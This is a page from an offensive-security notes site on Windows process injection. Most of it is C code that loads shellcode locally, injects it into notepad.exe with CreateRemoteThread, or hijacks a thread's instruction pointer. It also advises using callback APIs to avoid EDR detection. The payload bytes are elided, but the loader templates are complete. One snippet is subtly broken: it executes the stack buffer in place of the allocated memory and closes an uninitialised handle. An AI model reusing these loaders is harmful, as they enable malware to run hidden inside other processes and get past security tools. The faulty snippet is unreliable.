Red Team Notes logo Red Team Notes

Is a technique useful to escape from short-lived process or to change the working context.

Note: You can’t see the output of the payload injected on other process.

There are different techniques, the most common are payload injection and dll injection. The payload can be injected on a different process or in the current process.

Local Classic Technique (VirtualAlloc)

The behavior of a local classic injection:

Example of local injection:

int main(int argc, char ** argv) {

    LPVOID pexec;
    HANDLE hThread;
    BOOL rv;
    DWORD oldprotect;

    char payload[] = {0xfc, 0x48, 0x83,...};


    pexec = VirtualAlloc(0, sizeof(payload), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    RtlMoveMemory(pexec, payload, sizeof(payload));
    rv = VirtualProtect(pexec, sizeof(payload), PAGE_EXECUTE_READ, &oldprotect);
    if(rv){
        hThread = CreateThread(0,0, (LPTHREAD_START_ROUTINE)pexec, 0,0,0);
        WaitForSingleObject(hThread, -1);
    }
    CloseHandle(hThread);
    return 0;
}

Remote Classic Technique (VirtualAllocEx)

The behavior of a remote classic injection:

Example of remote injection:

int main(void) {
    
    int pid = 0;
    HANDLE hProc = NULL;
    LPVOID pexec = NULL;
    HANDLE hThread = NULL;
    DWORD oldprotect;
    char payload[] = {0xfc, 0x48, 0x83,...};
    int payload_len = sizeof(payload);

    pid = FindProcess("notepad.exe");

    if (pid) {
        printf("Notepad.exe PID = %d\n", pid);

        // try to open target process
        hProc = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | 
                        PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE,
                        FALSE, (DWORD) pid);

        if (hProc != NULL) {
            pexec = VirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_READWRITE);
            WriteProcessMemory(hProc, pexec, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T *)NULL);
            VirtualProtectEx(hProc, pexec, payload_len, PAGE_EXECUTE_READ, &oldprotect);
            hThread = CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)pexec, NULL, 0, NULL);
            if(hThread != NULL){
                WaitForSingleObject(hThread, -1);
                CloseHandle(hThread);
            }
            CloseHandle(hProc);
        }
    }
    return 0;
}

Check Object Enumeration - Process Enumeration section to get more info about FindProcess:

Thread Context Injection

Instead of create a new thread on the target process we can get an existing one, suspend it, modify the EIP or RIP (next instruction pointer) specifying our payload and resume the thread.

Note: Since we are hijacking the thread, we will break the process. IT WILL CRASH THE PROCESS.

The behavior of a thread context injection:

Example of thread context injection.

int main(void) {
    
    int pid = 0;
    HANDLE hProc = NULL;
    LPVOID pexec = NULL;
    HANDLE hThread = NULL;
    DWORD oldprotect;
    char payload[] = {0xfc, 0x48, ...};
    int payload_len = sizeof(payload);
    CONTEXT ctx;
    pid = FindProcess("notepad.exe");

    if (pid) {
        printf("Notepad.exe PID = %d\n", pid);

        // try to open target process
        hProc = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | 
                        PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE,
                        FALSE, (DWORD) pid);

        if (hProc != NULL) {
            hThread = FindThread(pid);
            if(hThread != NULL){
                pexec = VirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_READWRITE); 
                WriteProcessMemory(hProc, pexec, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T *)NULL);
                VirtualProtectEx(hProc, pexec, payload_len, PAGE_EXECUTE_READ, &oldprotect);
                ctx.ContextFlags = CONTEXT_FULL;
                SuspendThread(hThread);
                GetThreadContext(hThread, &ctx);
            #ifdef _M_IX86 
	            ctx.Eip = (DWORD_PTR) pexec;
            #else
	            ctx.Rip = (DWORD_PTR) pexec;
            #endif
                SetThreadContext(hThread, &ctx);
                ResumeThread(hThread);
                
            }
            CloseHandle(hThread);
        }
        CloseHandle(hProc);    
    }
    return 0;
}

Check Object Enumeration-> Process Enumeration and Thread Enumeration sections to get more info about FindProcess:

Alternatives to CreateThread

There are some alternatives for CreateThread. Creating threads can be easily detected by an EDR, try something different.

Note: Since we are not creating a new Thread, when our payload finishes it will hang out the main program. Be careful if you are injecting on a remote process.

Direct Function Pointer

#include <Windows.h>
#include <stdio.h>

int main(int argc, char ** argv) {

    LPVOID pexec;
    HANDLE hThread;
    BOOL rv;
    DWORD oldprotect;

    char payload[] = {0xfc, 0x48, 0x83,...};

    pexec = VirtualAlloc(0, sizeof(payload), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    RtlMoveMemory(pexec, payload, sizeof(payload));
    rv = VirtualProtect(pexec, sizeof(payload), PAGE_EXECUTE_READ, &oldprotect);
    if(rv){
        void (*go)() =(void(*)()) payload; go();
    }
    CloseHandle(hThread);
    return 0;
}

WinAPIs

There are other WinAPIs functions:

EnumThreadWindows(0, (WNDENUMPROC) shellcode, 0);
EnumChildWindows((HWND) NULL, (WNDENUMPROC) shellcode, NULL);